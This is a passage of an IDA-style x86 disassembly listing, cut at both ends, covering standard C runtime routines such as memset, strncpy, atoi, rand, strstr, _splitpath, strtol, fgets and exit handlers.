arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx

loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3

loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD

loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7

loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------

loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681

loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642

loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635

loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664

loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652

loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7

loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi

loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi

loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630

loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1

loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax

loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9

loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B

loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C534, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738

loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx

loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C534, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------

loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax

loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A2CC
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748

loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2F0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2720607h
		push	eax
		nop
		call	near ptr 2710C10h

loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2EC, edi
		mov	byte_4DB2E8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC95C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC958
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832

loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax

loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC95C
		jnb	short loc_41B81F

loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi

loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx

loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2F0, edi
		nop
		call	near ptr 77E75CB5h

loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax

loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------

loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------

loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A2B0, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A2B0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A2B0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967

loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934

loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi

loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929

loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]

loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------

loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------

loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------

loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0

loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E

loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC821[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi

loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------

loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0

loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi

loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax

loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------

loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax

loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0

loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40

loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C

loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------

loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]

loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------

loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx

loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C

loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0

loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi

loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C534, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------

loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------

loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------

loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E

loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx

loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82

loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C534, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------

loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------

loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C534, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------

loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C328
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
